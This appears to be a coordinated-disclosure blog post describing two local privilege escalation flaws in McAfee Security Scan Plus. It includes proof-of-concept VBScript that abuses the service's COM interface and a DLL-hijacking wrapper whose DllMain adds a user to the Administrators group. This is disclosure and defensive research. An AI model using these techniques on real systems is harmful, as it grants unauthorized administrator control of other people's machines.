This post will discuss two separate Local Privilege Escalation vulnerabilities in the McAfee Security Scan Plus product. You've probably seen it coming with Adobe Flash installer for Windows as an add-on. This product installs as a Windows Service running as LocalSystem called McAfee Security Scan Component Host Service. During an audit of this product I found that any unprivileged user on a computer where the McAfee Security Scan Plus is installed could interrogate the service. More specifically, any user can communicate with the service via simple COM component as shown below and start certain programs:
Option Explicit
Dim objHost : Set objHost = CreateObject("McComponentHostService.McCompHost")
Dim objAV : Set objAV = objHost.GetObject("{7822F49B-3B6E-4646-86A9-204D7488A1FD}")
objAV.Configure("C:\Windows\TEMP\McUICnt.exe")
objAV.Scan()
objAV.GetReport()
This VBScript code will start the C:\Windows\TEMP\McUICnt.exe process as LocalSystem even when executed as an unprivileged user. An important thing here is that the path to launch is configurable. The only limitation is that I was unable to start arbitrary processes – there is a check in McAfee code that limits binaries to McAfee-signed ones.
However, since we can manipulate the path to the binary, my next thought was to copy a genuine binary from the product to the %TEMP% directory and see if it will load fake libraries on start up. Sure enough, that's exactly what it did! The next step was creating a wrapper around one of the dlls loaded by the McUICnt.exe – version.dll specifically. Here is the code:
#include
#include
#pragma comment(linker, "/export:GetFileVersionInfoA=mversion.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=mversion.GetFileVersionInfoByHandle")
#pragma comment(linker, "/export:GetFileVersionInfoExW=mversion.GetFileVersionInfoExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=mversion.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=mversion.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=mversion.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:GetFileVersionInfoW=mversion.GetFileVersionInfoW")
#pragma comment(linker, "/export:VerFindFileA=mversion.VerFindFileA")
#pragma comment(linker, "/export:VerFindFileW=mversion.VerFindFileW")
#pragma comment(linker, "/export:VerInstallFileA=mversion.VerInstallFileA")
#pragma comment(linker, "/export:VerInstallFileW=mversion.VerInstallFileW")
#pragma comment(linker, "/export:VerLanguageNameA=kernel32.VerLanguageNameA")
#pragma comment(linker, "/export:VerLanguageNameW=kernel32.VerLanguageNameW")
#pragma comment(linker, "/export:VerQueryValueA=mversion.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=mversion.VerQueryValueW")
BOOL WINAPI DllMain(HINSTANCE hDllHandle, DWORD nReason, LPVOID Reserved)
{
system("net localgroup Administrators james /add");
return TRUE;
}
When compiled and placed in %TEMP% directory near the McUICnt.exe, this will grant user "james" local Administrator group membership when chained with the VBScript shown above.
During this research I discovered another vulnerability in the same product that is even simpler to exploit. There is a dedicated method to execute programs as LocalSystem in one of the objects exposed by the application:
Option Explicit
Dim objHost, objX
Set objHost = CreateObject("McComponentHostService.McCompHost")
Set objX = objHost.GetObject("{C4B9CF70-99E3-42A3-ACED-4AE75B2A0EA5}")|
Call objX.RunProgramEx("C:\WINDOWS\system32\net.exe", "localgroup Administrators james /add", vbNull, False, False)
Trustwave SpiderLabs reported both of these vulnerabilities to Intel Security and worked with them on testing the fix. The Trustwave advisory for these vulnerabilities is available here: TWSL2017-002